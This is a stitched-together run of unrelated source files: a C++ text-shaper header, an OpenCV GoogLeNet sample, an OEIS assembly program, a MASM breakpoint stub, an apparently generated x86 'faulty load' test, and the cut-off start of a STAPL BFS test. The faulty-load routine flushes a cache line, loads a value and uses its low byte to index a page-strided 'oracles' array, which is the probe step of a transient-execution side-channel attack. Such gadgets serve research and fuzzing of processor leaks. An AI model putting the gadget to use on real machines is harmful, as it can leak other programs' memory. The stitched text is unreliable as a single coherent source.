#include "text_shaper_char.hpp"
#include "text_shaper_line.hpp"
#include "text_cursor.hpp"
#include "glyph_metrics.hpp"
#include "font_metrics.hpp"
#include "text_style.hpp"
#include "glyph_ids.hpp"
#include "font.hpp"
#include "../unicode/unicode_description.hpp"
#include "../unicode/unicode_break_opportunity.hpp"
#include "../unicode/grapheme.hpp"
#include "../unicode/gstring.hpp"
#include "../alignment.hpp"
#include "../coroutine.hpp"
#include <vector>
#include <tuple>
namespace tt::inline v1 {
class font_book;
/** Text shaper.
*
* This class takes text as a set of graphemes attributed with font, size, style and color.
*
* Steps:
* 1. Load default glyphs and metrics scaled to the font-size of each glyph.
* 2. Fold default glyphs to a certain width by inserting line-separators.
* 3. Run unicode bidirectional algorithm.
* 4. Reload glyphs and metrics of any brackets.
* 5. Morph glyphs.
* 6. Position glyphs including kerning and justification.
*
*/
class text_shaper {
public:
using char_vector = std::vector<text_shaper_char>;
using char_iterator = char_vector::iterator;
using char_const_iterator = char_vector::const_iterator;
using line_vector = std::vector<text_shaper_line>;
using line_iterator = line_vector::iterator;
using line_const_iterator = line_vector::const_iterator;
constexpr text_shaper() noexcept = default;
constexpr text_shaper(text_shaper const &) noexcept = default;
constexpr text_shaper(text_shaper &&) noexcept = default;
constexpr text_shaper &operator=(text_shaper const &) noexcept = default;
constexpr text_shaper &operator=(text_shaper &&) noexcept = default;
/** Construct a text_shaper with a text and alignment.
*
* The constructor will load all the default glyphs for the text.
*
* Horizontal alignment is done for each line independent of the writing direction.
* This allows labels to remain aligned in the same direction on the user-interface
* even when the labels have translations in different languages.
*
* Label widgets should flip the alignment passed to the text shaper when the
* user interface is mirrored.
*
* Text edit fields may want to change the alignment of the text depending on the
* dominant writing direction, for more natural typing.
*
* Vertical alignment of the text determines what y=0 means:
* - top: y = 0 is the base-line of the first line, all other lines are at y < 0.
* - bottom: y = 0 is the base-line of the last line, all other lines are at y > 0.
* - middle, odd: y = 0 is the base-line of the middle line.
* - middle, even: y = 0 is half way between the base-lines of the middle two lines.
*
* @param text The text as a vector of attributed graphemes.
* Use U+2029 as paragraph separator, and if needed U+2028 as line separator.
* @param vertical_alignment How the text will be aligned vertically.
* @param line_spacing A multiplier to scale the distance between lines compared to the
* natural line spacing of the font: ascender + descender + line-gap.
* @param paragraph_spacing A multiplier to scale the distance between lines compared to the
* line spacing after @a line_spacing argument has been applied.
* @param dpi_scale The scaling factor to use to scale a font's size to match the physical display.
* @param script The script of the text.
*/
[[nodiscard]] text_shaper(
tt::font_book &font_book,
gstring const &text,
text_style const &style,
float dpi_scale,
unicode_script script = unicode_script::Common) noexcept;
[[nodiscard]] text_shaper(
tt::font_book &font_book,
std::string_view text,
text_style const &style,
float dpi_scale,
unicode_script script = unicode_script::Common) noexcept;
[[nodiscard]] bool empty() const noexcept
{
return _text.empty();
}
[[nodiscard]] size_t size() const noexcept
{
return _text.size();
}
[[nodiscard]] char_iterator begin() noexcept
{
return _text.begin();
}
[[nodiscard]] char_const_iterator begin() const noexcept
{
return _text.begin();
}
[[nodiscard]] char_const_iterator cbegin() const noexcept
{
return _text.cbegin();
}
[[nodiscard]] char_iterator end() noexcept
{
return _text.end();
}
[[nodiscard]] char_const_iterator end() const noexcept
{
return _text.end();
}
[[nodiscard]] char_const_iterator cend() const noexcept
{
return _text.cend();
}
auto const &lines() const noexcept
{
return _lines;
}
/** Get bounding rectangle.
*
* It will estimate the width and height based on the glyphs before glyph-morphing and kerning
* and fold the lines using the unicode line breaking algorithm to the @a max_line_width.
*
* The @a alignment parameter is used to align the lines vertically:
* - top: y=0 is the base-line of the top line, with following lines below it.
* - bottom: y=0 is the base-line of the bottom line, with previous lines above it.
* - middle, odd number of lines: y=0 is the base-line of the middle line.
* - middle, even number of lines: y=0 is half-way between the base-line of the two lines in the middle.
*
* @param maximum_line_width The maximum line width allowed, this may be infinite to determine
* the natural text size without folding.
* @param alignment The vertical alignment of text.
* @param line_spacing The scaling of the spacing between lines.
* @param paragraph_spacing The scaling of the spacing between paragraphs.
* @return The rectangle surrounding the text, cap-height. The rectangle excludes ascenders & descenders, as if
* each line is x-height. y = 0 of the rectangle is at the base-line of the text. The returned cap-height is for the
* line which is at y = 0.
*/
[[nodiscard]] std::pair<aarectangle, float> bounding_rectangle(
float maximum_line_width,
vertical_alignment alignment,
float line_spacing = 1.0f,
float paragraph_spacing = 1.5f) noexcept;
/** Layout the lines of the text.
*
* It will estimate the width and height based on the glyphs before glyph-morphing and kerning
* and fold the lines using the unicode line breaking algorithm to the @a max_line_width.
*
* The @a alignment parameter is used to align the lines vertically:
* - top: y=0 is the base-line of the top line, with following lines below it.
* - bottom: y=0 is the base-line of the bottom line, with previous lines above it.
* - middle, odd number of lines: y=0 is the base-line of the middle line.
* - middle, even number of lines: y=0 is half-way between the base-line of the two lines in the middle.
*
* @post The lines have been laid out.
* @param rectangle The rectangle to position the glyphs in.
* @param base_line The position of the recommended base-line.
* @param sub_pixel_size The size of a sub-pixel in device-independent-pixels.
* @param writing_direction The default writing direction.
* @param alignment The alignment of the text (default: flush, middle).
* @param line_spacing The scaling of the spacing between lines (default: 1.0).
* @param paragraph_spacing The scaling of the spacing between paragraphs (default: 1.5).
*/
[[nodiscard]] void layout(
aarectangle rectangle,
float base_line,
extent2 sub_pixel_size,
unicode_bidi_class writing_direction,
tt::alignment alignment = tt::alignment{horizontal_alignment::flush, vertical_alignment::middle},
float line_spacing = 1.0f,
float paragraph_spacing = 1.5f) noexcept;
/** The rectangle used when laying out the text.
*/
[[nodiscard]] aarectangle rectangle() const noexcept
{
return _rectangle;
}
/** Get the character at index in logical order.
*
* @note This function checks for underflow and overflow of index and always returns an iterator
* between `begin()` and `end()` inclusive.
* @param index The index in the text.
* @return Iterator to the character.
*/
[[nodiscard]] char_const_iterator get_it(size_t index) const noexcept;
/** Get the character at the cursor.
*
* @note This function checks for underflow and overflow of cursor and always returns an iterator
* between `begin()` and `end()` inclusive.
* @param cursor The cursor in the text.
* @return Iterator to the character.
*/
[[nodiscard]] char_const_iterator get_it(text_cursor cursor) const noexcept
{
return get_it(cursor.index());
}
/** Get the character at column and row in display order.
*
* @note This function checks for underflow and overflow of column and row and always returns an iterator
* between `begin()` and `end()` inclusive.
* @param column The column
* @param row The row
* @return Iterator to the character.
*/
[[nodiscard]] char_const_iterator get_it(size_t column, size_t row) const noexcept;
/** Get the character at column and row in display order.
*
* @note This function checks for underflow and overflow of column and row and always returns an iterator
* between `begin()` and `end()` inclusive.
* @param column_row The column, row packed in a `std::pair`.
* @return Iterator to the character.
*/
[[nodiscard]] char_const_iterator get_it(std::pair<size_t, size_t> column_row) const noexcept
{
return get_it(column_row.first, column_row.second);
}
/** Get the column and line of a character.
*
* @param it The iterator to the character, or `end()`.
* @return The (column, row) packed in a `std::pair`.
*/
[[nodiscard]] std::pair<size_t, size_t> get_column_line(text_shaper::char_const_iterator it) const noexcept;
/** Get the column and line of a character.
*
* @param index The index of the character in logical order.
* @return The (column, row) packed in a `std::pair`.
*/
[[nodiscard]] std::pair<size_t, size_t> get_column_line(size_t index) const noexcept
{
return get_column_line(get_it(index));
}
/** Get the column and line of a character.
*
* @param cursor The cursor to the character.
* @return The (column, row) packed in a `std::pair`.
*/
[[nodiscard]] std::pair<size_t, size_t> get_column_line(text_cursor cursor) const noexcept
{
return get_column_line(cursor.index());
}
/** Get the index of the character in logical order.
*
* @param it The iterator to the character or `end()`.
* @return The index in logical order.
*/
[[nodiscard]] size_t get_index(text_shaper::char_const_iterator it) const noexcept;
/** Get the cursor at the beginning of the document.
*
* @return The cursor at the beginning of the document.
*/
[[nodiscard]] text_cursor get_begin_cursor() const noexcept;
/** Get the cursor at the end of the document.
*
* @return The cursor at the end of the document.
*/
[[nodiscard]] text_cursor get_end_cursor() const noexcept;
/** Get the cursor before the character in logical order.
*
* @param it The iterator to the character or `end()`.
* @return A cursor before the character in logical order.
*/
[[nodiscard]] text_cursor get_before_cursor(size_t index) const noexcept;
/** Get the cursor after the character in logical order.
*
* @param it The iterator to the character or `end()`.
* @return A cursor after the character in logical order.
*/
[[nodiscard]] text_cursor get_after_cursor(size_t index) const noexcept;
/** Get the cursor before the character in logical order.
*
* @param it The iterator to the character or `end()`.
* @return A cursor before the character in logical order.
*/
[[nodiscard]] text_cursor get_before_cursor(text_shaper::char_const_iterator it) const noexcept
{
return get_before_cursor(get_index(it));
}
/** Get the cursor after the character in logical order.
*
* @param it The iterator to the character or `end()`.
* @return A cursor after the character in logical order.
*/
[[nodiscard]] text_cursor get_after_cursor(text_shaper::char_const_iterator it) const noexcept
{
return get_after_cursor(get_index(it));
}
/** Get the cursor left of the character in display order.
*
* @param it The iterator to the character or `end()`.
* @return A cursor left of the character in display order.
*/
[[nodiscard]] text_cursor get_left_cursor(text_shaper::char_const_iterator it) const noexcept;
/** Get the cursor right of the character in display order.
*
* @param it The iterator to the character or `end()`.
* @return A cursor right of the character in display order.
*/
[[nodiscard]] text_cursor get_right_cursor(text_shaper::char_const_iterator it) const noexcept;
/** Check if the cursor is on the left side of the character in display order.
*
* @param cursor The cursor to query.
* @return True if the cursor is on the left of the character.
*/
[[nodiscard]] bool is_on_left(text_cursor cursor) const noexcept;
/** Check if the cursor is on the right side of the character in display order.
*
* @param cursor The cursor to query.
* @return True if the cursor is on the right of the character.
*/
[[nodiscard]] bool is_on_right(text_cursor cursor) const noexcept;
/** find the nearest character.
*
* @param point The point near
* @return The text_cursor nearest to the point.
*/
[[nodiscard]] text_cursor get_nearest_cursor(point2 point) const noexcept;
/** Get the selection for the character at the cursor.
*/
[[nodiscard]] std::pair<text_cursor, text_cursor> select_char(text_cursor cursor) const noexcept;
/** Get the selection for the word at the cursor.
*/
[[nodiscard]] std::pair<text_cursor, text_cursor> select_word(text_cursor cursor) const noexcept;
/** Get the selection for the sentence at the cursor.
*/
[[nodiscard]] std::pair<text_cursor, text_cursor> select_sentence(text_cursor cursor) const noexcept;
/** Get the selection for a paragraph at the cursor.
*/
[[nodiscard]] std::pair<text_cursor, text_cursor> select_paragraph(text_cursor cursor) const noexcept;
/** Get the selection for a paragraph at the cursor.
*/
[[nodiscard]] std::pair<text_cursor, text_cursor> select_document(text_cursor cursor) const noexcept;
/** Get the character to the left.
*
* @param it The iterator to the character.
* @return The iterator to the character on the left, or empty.
*/
[[nodiscard]] char_const_iterator move_left_char(char_const_iterator it) const noexcept;
/** Get the character to the right.
*
* @param it The iterator to the character.
* @return The iterator to the character on the left, or empty.
*/
[[nodiscard]] char_const_iterator move_right_char(char_const_iterator it) const noexcept;
[[nodiscard]] text_cursor move_left_char(text_cursor cursor, bool overwrite_mode) const noexcept;
[[nodiscard]] text_cursor move_right_char(text_cursor cursor, bool overwrite_mode) const noexcept;
[[nodiscard]] text_cursor move_down_char(text_cursor cursor, float &x) const noexcept;
[[nodiscard]] text_cursor move_up_char(text_cursor cursor, float &x) const noexcept;
[[nodiscard]] text_cursor move_left_word(text_cursor cursor, bool overwrite_mode) const noexcept;
[[nodiscard]] text_cursor move_right_word(text_cursor cursor, bool overwrite_mode) const noexcept;
[[nodiscard]] text_cursor move_begin_line(text_cursor cursor) const noexcept;
[[nodiscard]] text_cursor move_end_line(text_cursor cursor) const noexcept;
[[nodiscard]] text_cursor move_begin_sentence(text_cursor cursor) const noexcept;
[[nodiscard]] text_cursor move_end_sentence(text_cursor cursor) const noexcept;
[[nodiscard]] text_cursor move_begin_paragraph(text_cursor cursor) const noexcept;
[[nodiscard]] text_cursor move_end_paragraph(text_cursor cursor) const noexcept;
[[nodiscard]] text_cursor move_begin_document(text_cursor cursor) const noexcept;
[[nodiscard]] text_cursor move_end_document(text_cursor cursor) const noexcept;
private:
font_book *_font_book = nullptr;
/** The scaling factor to use to scale a font's size to match the physical pixels on the display.
*/
float _dpi_scale;
/** A list of character in logical order.
*
* @note Graphemes are not allowed to be typographical-ligatures.
* @note line-feeds, carriage-returns & form-feeds must be replaced by paragraph-separators or line-separators.
* @note This variable is marked mutable because make_lines() has to modify the characters in the text.
*/
char_vector _text;
/** A list of word break opportunities.
*/
unicode_break_vector _line_break_opportunities;
/** A list of widths, one for each character in _text.
*/
std::vector<float> _line_break_widths;
/** A list of word break opportunities.
*/
unicode_break_vector _word_break_opportunities;
/** A list of sentence break opportunities.
*/
unicode_break_vector _sentence_break_opportunities;
/** The default script of the text.
*/
unicode_script _script;
/** A list of lines top-to-bottom order.
*
* The characters contained in each line are in display order.
*/
line_vector _lines;
/** The font metrics of a line without text.
*/
font_metrics _initial_line_metrics;
/** The rectangle used for laying out.
*/
aarectangle _rectangle;
/** Create lines from the characters in the text shaper.
*
* @param rectangle The rectangle to position the glyphs in.
* @param base_line The position of the recommended base-line.
* @param sub_pixel_size The size of a sub-pixel in device-independent-pixels.
* @param vertical_alignment The vertical alignment of text.
* @param writing_direction The default writing direction.
* @param line_spacing The scaling of the spacing between lines.
* @param paragraph_spacing The scaling of the spacing between paragraphs.
*/
[[nodiscard]] line_vector make_lines(
aarectangle rectangle,
float base_line,
extent2 sub_pixel_size,
tt::vertical_alignment vertical_alignment,
unicode_bidi_class writing_direction,
float line_spacing,
float paragraph_spacing) noexcept;
/** Position the glyphs.
*
* @param rectangle The rectangle to position the glyphs in.
* @param sub_pixel_size The size of a sub-pixel in device-independent-pixels.
* @param horizontal_alignment The horizontal alignment of the text (default: flush).
* @param writing_direction The default writing direction.
* @post Glyphs in _text are positioned inside the given rectangle.
*/
void position_glyphs(
aarectangle rectangle,
extent2 sub_pixel_size,
tt::horizontal_alignment horizontal_alignment,
unicode_bidi_class writing_direction) noexcept;
/** Resolve the script of each character in text.
*/
void resolve_script() noexcept;
[[nodiscard]] std::pair<text_cursor, text_cursor>
get_selection_from_break(text_cursor cursor, unicode_break_vector const &break_opportunities) const noexcept;
};
} // namespace tt::inline v1
|
/**M///////////////////////////////////////////////////////////////////////////////////////
//
// IMPORTANT: READ BEFORE DOWNLOADING, COPYING, INSTALLING OR USING.
//
// By downloading, copying, installing or using the software you agree to this license.
// If you do not agree to this license, do not download, install,
// copy or use the software.
//
//
// License Agreement
// For Open Source Computer Vision Library
//
// Copyright (C) 2013, OpenCV Foundation, all rights reserved.
// Third party copyrights are property of their respective owners.
//
// Redistribution and use in source and binary forms, with or without modification,
// are permitted provided that the following conditions are met:
//
// * Redistribution's of source code must retain the above copyright notice,
// this list of conditions and the following disclaimer.
//
// * Redistribution's in binary form must reproduce the above copyright notice,
// this list of conditions and the following disclaimer in the documentation
// and/or other materials provided with the distribution.
//
// * The name of the copyright holders may not be used to endorse or promote products
// derived from this software without specific prior written permission.
//
// This software is provided by the copyright holders and contributors "as is" and
// any express or implied warranties, including, but not limited to, the implied
// warranties of merchantability and fitness for a particular purpose are disclaimed.
// In no event shall the Intel Corporation or contributors be liable for any direct,
// indirect, incidental, special, exemplary, or consequential damages
// (including, but not limited to, procurement of substitute goods or services;
// loss of use, data, or profits; or business interruption) however caused
// and on any theory of liability, whether in contract, strict liability,
// or tort (including negligence or otherwise) arising in any way out of
// the use of this software, even if advised of the possibility of such damage.
//
//M*/
#include <opencv2/dnn.hpp>
#include <opencv2/imgproc.hpp>
#include <opencv2/highgui.hpp>
#include <opencv2/core/utils/trace.hpp>
using namespace cv;
using namespace cv::dnn;
#include <fstream>
#include <iostream>
#include <cstdlib>
using namespace std;
/* Find best class for the blob (i. e. class with maximal probability) */
static void getMaxClass(const Mat &probBlob, int *classId, double *classProb)
{
Mat probMat = probBlob.reshape(1, 1); //reshape the blob to 1x1000 matrix
Point classNumber;
minMaxLoc(probMat, NULL, classProb, NULL, &classNumber);
*classId = classNumber.x;
}
static std::vector<String> readClassNames(const char *filename )
{
std::vector<String> classNames;
std::ifstream fp(filename);
if (!fp.is_open())
{
std::cerr << "File with classes labels not found: " << filename << std::endl;
exit(-1);
}
std::string name;
while (!fp.eof())
{
std::getline(fp, name);
if (name.length())
classNames.push_back( name.substr(name.find(' ')+1) );
}
fp.close();
return classNames;
}
const char* params
= "{ help | false | Sample app for loading googlenet model }"
"{ proto | bvlc_googlenet.prototxt | model configuration }"
"{ model | bvlc_googlenet.caffemodel | model weights }"
"{ label | synset_words.txt | names of ILSVRC2012 classes }"
"{ image | space_shuttle.jpg | path to image file }"
"{ opencl | false | enable OpenCL }"
;
int main(int argc, char **argv)
{
CV_TRACE_FUNCTION();
CommandLineParser parser(argc, argv, params);
if (parser.get<bool>("help"))
{
parser.printMessage();
return 0;
}
String modelTxt = parser.get<string>("proto");
String modelBin = parser.get<string>("model");
String imageFile = parser.get<String>("image");
String classNameFile = parser.get<String>("label");
Net net;
try {
//! [Read and initialize network]
net = dnn::readNetFromCaffe(modelTxt, modelBin);
//! [Read and initialize network]
}
catch (const cv::Exception& e) {
std::cerr << "Exception: " << e.what() << std::endl;
//! [Check that network was read successfully]
if (net.empty())
{
std::cerr << "Can't load network by using the following files: " << std::endl;
std::cerr << "prototxt: " << modelTxt << std::endl;
std::cerr << "caffemodel: " << modelBin << std::endl;
std::cerr << "bvlc_googlenet.caffemodel can be downloaded here:" << std::endl;
std::cerr << "http://dl.caffe.berkeleyvision.org/bvlc_googlenet.caffemodel" << std::endl;
exit(-1);
}
//! [Check that network was read successfully]
}
if (parser.get<bool>("opencl"))
{
net.setPreferableTarget(DNN_TARGET_OPENCL);
}
//! [Prepare blob]
Mat img = imread(imageFile);
if (img.empty())
{
std::cerr << "Can't read image from the file: " << imageFile << std::endl;
exit(-1);
}
//GoogLeNet accepts only 224x224 BGR-images
Mat inputBlob = blobFromImage(img, 1.0f, Size(224, 224),
Scalar(104, 117, 123), false); //Convert Mat to batch of images
//! [Prepare blob]
net.setInput(inputBlob, "data"); //set the network input
Mat prob = net.forward("prob"); //compute output
cv::TickMeter t;
for (int i = 0; i < 10; i++)
{
CV_TRACE_REGION("forward");
//! [Set input blob]
net.setInput(inputBlob, "data"); //set the network input
//! [Set input blob]
t.start();
//! [Make forward pass]
prob = net.forward("prob"); //compute output
//! [Make forward pass]
t.stop();
}
//! [Gather output]
int classId;
double classProb;
getMaxClass(prob, &classId, &classProb);//find the best class
//! [Gather output]
//! [Print results]
std::vector<String> classNames = readClassNames(classNameFile.c_str());
std::cout << "Best class: #" << classId << " '" << classNames.at(classId) << "'" << std::endl;
std::cout << "Probability: " << classProb * 100 << "%" << std::endl;
//! [Print results]
std::cout << "Time: " << (double)t.getTimeMilli() / t.getCounter() << " ms (average from " << t.getCounter() << " iterations)" << std::endl;
return 0;
} //main
|
; A128542: a(n) = ((2n)^(2n) - 1)/((2n+1)*(2n-1)).
; 0,1,17,1333,266305,101010101,62350352785,56984650387477,72340172838076673,121815504877079063701,262801002506265664160401,706890015246831381773595701,2319540481478754999041880822337,9120177155862455275254332279111413,42331447143363186286810636338907542545,229022393876139043381535038932146829810901,1428642851740863067647785760230970693700813825,10178908143176290918973203897238403077591291696597,82152400713294613751130097106143933390091008208385553
mul $0,2
mov $1,$0
lpb $0
sub $0,2
mul $2,$1
mul $2,$1
add $2,1
lpe
mov $0,$2
|
public FuncInt3
_TEXT SEGMENT
FuncInt3 PROC
int 3
ret
FuncInt3 ENDP
END
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r12
push %r9
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_A_ht+0x3531, %rcx
nop
and $61616, %rdx
movw $0x6162, (%rcx)
nop
nop
nop
nop
dec %r12
lea addresses_UC_ht+0xdb99, %rsi
lea addresses_WC_ht+0x147f1, %rdi
nop
nop
nop
xor %r10, %r10
mov $91, %rcx
rep movsl
nop
nop
xor $29476, %rdi
lea addresses_A_ht+0x16d91, %rsi
clflush (%rsi)
nop
cmp $49462, %r9
movl $0x61626364, (%rsi)
nop
add $55513, %r9
lea addresses_D_ht+0x1d97b, %rcx
nop
nop
nop
inc %rsi
mov (%rcx), %r12
nop
nop
inc %rdx
lea addresses_D_ht+0x161b1, %rsi
nop
nop
nop
nop
nop
xor $31799, %rdi
mov $0x6162636465666768, %r10
movq %r10, %xmm5
vmovups %ymm5, (%rsi)
nop
nop
nop
nop
nop
and $28118, %r10
lea addresses_normal_ht+0xc9e1, %rsi
nop
nop
nop
nop
nop
add $63196, %r9
and $0xffffffffffffffc0, %rsi
vmovaps (%rsi), %ymm3
vextracti128 $1, %ymm3, %xmm3
vpextrq $1, %xmm3, %r10
nop
nop
cmp %r10, %r10
lea addresses_D_ht+0x13cd, %r9
clflush (%r9)
nop
nop
nop
and $4526, %rdi
mov $0x6162636465666768, %rcx
movq %rcx, %xmm2
and $0xffffffffffffffc0, %r9
movaps %xmm2, (%r9)
nop
nop
nop
add $57045, %r10
lea addresses_A_ht+0x19f6f, %rdi
nop
nop
nop
nop
nop
add $13032, %r9
movb $0x61, (%rdi)
nop
nop
nop
inc %r12
lea addresses_normal_ht+0x119b1, %rsi
lea addresses_D_ht+0x1c9b1, %rdi
nop
nop
nop
xor %rbx, %rbx
mov $77, %rcx
rep movsw
nop
nop
nop
nop
nop
and $52261, %r12
lea addresses_A_ht+0x14651, %rcx
cmp $47895, %rdi
mov (%rcx), %r12w
nop
sub $48362, %r12
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %r9
pop %r12
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r8
push %r9
push %rbp
push %rbx
push %rsi
// Store
lea addresses_A+0x11b1, %r9
nop
nop
sub %r12, %r12
mov $0x5152535455565758, %rbp
movq %rbp, %xmm2
vmovups %ymm2, (%r9)
inc %rbp
// Faulty Load
lea addresses_PSE+0x51b1, %r8
clflush (%r8)
cmp %rbx, %rbx
vmovups (%r8), %ymm0
vextracti128 $1, %ymm0, %xmm0
vpextrq $0, %xmm0, %rsi
lea oracles, %r12
and $0xff, %rsi
shlq $12, %rsi
mov (%r12,%rsi,1), %rsi
pop %rsi
pop %rbx
pop %rbp
pop %r9
pop %r8
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_PSE', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 11, 'NT': False, 'type': 'addresses_A', 'size': 32, 'AVXalign': False}}
[Faulty Load]
{'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_PSE', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 7, 'NT': False, 'type': 'addresses_A_ht', 'size': 2, 'AVXalign': False}}
{'src': {'type': 'addresses_UC_ht', 'congruent': 2, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC_ht', 'congruent': 5, 'same': False}}
{'OP': 'STOR', 'dst': {'same': True, 'congruent': 1, 'NT': False, 'type': 'addresses_A_ht', 'size': 4, 'AVXalign': False}}
{'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_D_ht', 'size': 8, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 10, 'NT': False, 'type': 'addresses_D_ht', 'size': 32, 'AVXalign': False}}
{'src': {'same': False, 'congruent': 4, 'NT': True, 'type': 'addresses_normal_ht', 'size': 32, 'AVXalign': True}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_D_ht', 'size': 16, 'AVXalign': True}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 1, 'NT': False, 'type': 'addresses_A_ht', 'size': 1, 'AVXalign': True}}
{'src': {'type': 'addresses_normal_ht', 'congruent': 5, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 9, 'same': False}}
{'src': {'same': False, 'congruent': 5, 'NT': False, 'type': 'addresses_A_ht', 'size': 2, 'AVXalign': True}, 'OP': 'LOAD'}
{'33': 21829}
33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33
*/
|
/*
// Copyright (c) 2000-2009, Texas Engineering Experiment Station (TEES), a
// component of the Texas A&M University System.
// All rights reserved.
// The information and source code contained herein is the exclusive
// property of TEES and may not be disclosed, examined or reproduced
// in whole or in part without explicit written authorization from TEES.
*/
#include <stapl/containers/sequential/graph/bgl_undirected_graph_adapter.hpp>
#include <stapl/containers/sequential/graph/algorithms/graph_algo.h>
#include <stapl/containers/sequential/graph/algorithms/find_cycle.h>
#include <stapl/containers/sequential/graph/algorithms/connected_components.h>
#include <stapl/containers/sequential/graph/algorithms/breadth_first_search.h>
#include "test_util.h"
#include <boost/graph/breadth_first_search.hpp>
#include <papi.h>
using namespace boost;
using namespace stapl;
using namespace stapl::sequential;
using namespace std;
namespace bfs_test {
template< class GRAPH>
class visitor_test{
typedef typename GRAPH::vertex_iterator vertex_iterator;
typedef typename GRAPH::adj_edge_iterator adj_edge_iterator;
typedef typename GRAPH::vertex_descriptor VD;
typedef typename GRAPH::edge_descriptor ED;
public:
size_t m_sum;
visitor_test(){m_sum=0;}
visitor_test(GRAPH& _g){m_sum=0;}
void discover_vertex(vertex_iterator _vi){
m_sum += (*_vi).descriptor();
//m_sum += 1;
}
void examine_vertex(vertex_iterator _vi){
m_sum -= (*_vi).descriptor();
//m_sum -= 1;
}
void examine_edge(vertex_iterator _vi, adj_edge_iterator _ei){
//m_sum += 1;
this->m_sum += (*_ei).source();
this->m_sum -= (*_ei).target();
}
void tree_edge(vertex_iterator _vi, adj_edge_iterator _ei){
//m_sum += 1;
this->m_sum += (*_ei).source();
this->m_sum -= (*_ei).target();
}
void non_tree_edge(vertex_iterator _vi, adj_edge_iterator _ei){
//m_sum += 1;
this->m_sum += (*_ei).source();
this->m_sum -= (*_ei).target();
}
void gray_target(vertex_iterator _vi, adj_edge_iterator _ei) {
//m_sum += 1;
